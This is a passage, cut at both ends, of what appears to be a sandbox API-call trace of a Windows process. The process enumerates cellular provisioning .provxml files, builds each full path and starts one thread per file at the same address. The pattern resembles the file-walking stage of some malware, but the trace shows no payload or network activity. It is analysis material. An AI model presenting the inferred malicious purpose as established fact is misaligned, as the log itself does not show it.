Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.612] wcscat (in: _Dest=0x3043bd8, _Source="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" [0179.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3043bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0179.612] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cb6875, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cb6875, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cb6875, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", cAlternateFileName="345__C~1.PRO")) returned 1 [0179.612] wcscmp (_String1="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.612] wcscmp (_String1="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x3044ea8 [0179.612] wcscpy (in: _Dest=0x3044ea8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.612] wcscat (in: _Dest=0x3044ea8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.612] wcscat (in: _Dest=0x3044ea8, _Source="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" [0179.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0179.613] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cb6875, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cb6875, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cb6875, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="346__C~1.PRO")) returned 1 [0179.613] wcscmp (_String1="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0179.613] wcscmp (_String1="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0179.613] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054e48 [0179.613] wcscpy (in: _Dest=0x3054e48, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.613] wcscat (in: _Dest=0x3054e48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.613] wcscat (in: _Dest=0x3054e48, _Source="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0179.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0179.614] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cb6875, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cb6875, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cdcae1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", cAlternateFileName="347__C~1.PRO")) returned 1 [0179.614] wcscmp (_String1="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.614] wcscmp (_String1="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.614] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15e) returned 0x2fa2f68 [0179.614] wcscpy (in: _Dest=0x2fa2f68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.614] wcscat (in: _Dest=0x2fa2f68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.614] wcscat (in: _Dest=0x2fa2f68, _Source="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" [0179.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0179.616] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cdcae1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cdcae1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cdcae1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="348__C~1.PRO")) returned 1 [0179.616] wcscmp (_String1="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.616] wcscmp (_String1="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.616] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x3043fe0 [0179.616] wcscpy (in: _Dest=0x3043fe0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.616] wcscat (in: _Dest=0x3043fe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.616] wcscat (in: _Dest=0x3043fe0, _Source="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" [0179.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3043fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0179.616] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cdcae1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cdcae1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cdcae1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="349__C~1.PRO")) returned 1 [0179.620] wcscmp (_String1="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.620] wcscmp (_String1="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.620] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x30452b0 [0179.620] wcscpy (in: _Dest=0x30452b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.620] wcscat (in: _Dest=0x30452b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.620] wcscat (in: _Dest=0x30452b0, _Source="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml" [0179.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30452b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0179.621] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901d57cf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901d57cf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901d57cf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="34__CO~1.PRO")) returned 1 [0179.621] wcscmp (_String1="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.621] wcscmp (_String1="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.621] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x3044bf8 [0179.621] wcscpy (in: _Dest=0x3044bf8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.621] wcscat (in: _Dest=0x3044bf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.621] wcscat (in: _Dest=0x3044bf8, _Source="34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\34__Connections_Cellular_Batelco (Bahrain)_i0$(__MVID)@WAP.provxml" [0179.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044bf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0179.621] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cdcae1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cdcae1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cdcae1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="350__C~1.PRO")) returned 1 [0179.621] wcscmp (_String1="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.621] wcscmp (_String1="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.621] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x3045408 [0179.622] wcscpy (in: _Dest=0x3045408, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.622] wcscat (in: _Dest=0x3045408, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.622] wcscat (in: _Dest=0x3045408, _Source="350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" [0179.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0179.622] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cdcae1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cdcae1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cdcae1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="351__C~1.PRO")) returned 1 [0179.622] wcscmp (_String1="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.622] wcscmp (_String1="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.622] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x3044540 [0179.622] wcscpy (in: _Dest=0x3044540, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.622] wcscat (in: _Dest=0x3044540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.622] wcscat (in: _Dest=0x3044540, _Source="351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" [0179.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0179.623] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d02d4c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d02d4c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d02d4c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="352__C~1.PRO")) returned 1 [0179.623] wcscmp (_String1="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.623] wcscmp (_String1="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.623] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x3045560 [0179.623] wcscpy (in: _Dest=0x3045560, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.623] wcscat (in: _Dest=0x3045560, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.623] wcscat (in: _Dest=0x3045560, _Source="352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml" [0179.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0179.624] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d02d4c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d02d4c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d02d4c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="353__C~1.PRO")) returned 1 [0179.624] wcscmp (_String1="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.624] wcscmp (_String1="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.624] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3044698 [0179.624] wcscpy (in: _Dest=0x3044698, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.624] wcscat (in: _Dest=0x3044698, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.624] wcscat (in: _Dest=0x3044698, _Source="353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" [0179.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0179.625] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d02d4c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d02d4c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d02d4c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x3a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", cAlternateFileName="354__C~1.PRO")) returned 1 [0179.625] wcscmp (_String1="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.625] wcscmp (_String1="354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.625] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3045810 [0179.625] wcscpy (in: _Dest=0x3045810, 